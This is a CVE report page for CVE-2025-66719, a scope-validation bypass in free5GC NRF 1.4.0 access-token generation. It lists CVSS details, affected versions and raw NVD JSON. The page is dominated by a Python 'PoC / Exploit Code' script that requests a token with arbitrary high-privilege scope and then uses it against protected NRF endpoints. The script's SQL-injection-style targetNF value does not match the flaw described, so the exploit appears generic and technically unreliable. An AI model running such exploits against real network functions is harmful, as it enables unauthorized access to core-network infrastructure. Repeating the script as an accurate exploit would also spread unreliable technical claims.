Security Vulnerability Report
中文
CVE-2025-66719 CVSS 9.1 CRITICAL

CVE-2025-66719

Published: 2026-01-23 16:15:51
Last Modified: 2026-02-11 19:55:25

Description

An issue was discovered in Free5gc NRF 1.4.0. In the access-token generation logic of free5GC, the AccessTokenScopeCheck() function in file internal/sbi/processor/access_token.go bypasses all scope validation when the attacker uses a crafted targetNF value. This allows attackers to obtain an access token with any arbitrary scope.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:free5gc:nrf:1.4.0:*:*:*:*:*:*:* - VULNERABLE
Free5gc NRF < 1.4.0 (受影响)
Free5gc NRF = 1.4.0 (受影响)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-66719 PoC - Free5gc NRF AccessTokenScopeCheck Bypass # Target: Free5gc NRF 1.4.0 def exploit_cve_2025_66719(target_url): """ Exploit for CVE-2025-66719: Free5gc NRF AccessTokenScopeCheck Bypass This PoC demonstrates how an attacker can obtain an access token with arbitrary scope by crafting a malicious targetNF value. """ # Step 1: Prepare the malicious access token request # The vulnerability allows bypassing scope validation with crafted targetNF exploit_data = { "grant_type": "client_credentials", "nrfUri": target_url, "targetNF": "' OR '1'='1", # Crafted value to bypass scope check "scope": "nrf-signaling admin full-access", # Arbitrary high-privilege scope "clientId": "malicious-client" } # Step 2: Send the exploit request to NRF token endpoint token_endpoint = f"{target_url}/oauth2/token" headers = { "Content-Type": "application/json", "Authorization": "Basic bWFsdWNpb3VzLWNsaWVudDptYWx1Y2lvdXMtc2VjcmV0" } try: response = requests.post(token_endpoint, json=exploit_data, headers=headers, timeout=10) if response.status_code == 200: token_data = response.json() access_token = token_data.get("access_token") print(f"[!] Exploit Successful!") print(f"[!] Obtained Access Token with elevated scope") print(f"[!] Token: {access_token[:50]}...") # Step 3: Use the token to access protected NRF resources # This demonstrates full compromise of the NRF component protected_endpoints = [ "/nnrf-nfm/v1/nf-instances", "/nnrf-disc/v1/nf-discovery", "/oauth2/nf-registry" ] for endpoint in protected_endpoints: req = requests.get( f"{target_url}{endpoint}", headers={"Authorization": f"Bearer {access_token}"} ) print(f"[*] Access to {endpoint}: {req.status_code}") return access_token else: print(f"[*] Request failed with status: {response.status_code}") print(f"[*] Response: {response.text}") return None except requests.exceptions.RequestException as e: print(f"[!] Connection error: {e}") return None if __name__ == "__main__": target = "http://target-nrf:8000" exploit_cve_2025_66719(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66719", "sourceIdentifier": "[email protected]", "published": "2026-01-23T16:15:51.220", "lastModified": "2026-02-11T19:55:25.293", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in Free5gc NRF 1.4.0. In the access-token generation logic of free5GC, the AccessTokenScopeCheck() function in file internal/sbi/processor/access_token.go bypasses all scope validation when the attacker uses a crafted targetNF value. This allows attackers to obtain an access token with any arbitrary scope."}, {"lang": "es", "value": "Se descubrió un problema en Free5gc NRF 1.4.0. En la lógica de generación de tokens de acceso de free5GC, la función AccessTokenScopeCheck() en el archivo internal/sbi/processor/access_token.go omite toda la validación de alcance cuando el atacante utiliza un valor targetNF manipulado. Esto permite a los atacantes obtener un token de acceso con cualquier alcance arbitrario."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:free5gc:nrf:1.4.0:*:*:*:*:*:*:*", "matchCriteriaId": "6C9EFD5D-FC88-49B3-B73F-500B144CB4D2"}]}]}], "references": [{"url": "https://github.com/free5gc/free5gc/issues/736", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://github.com/free5gc/nrf/pull/73", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}]}}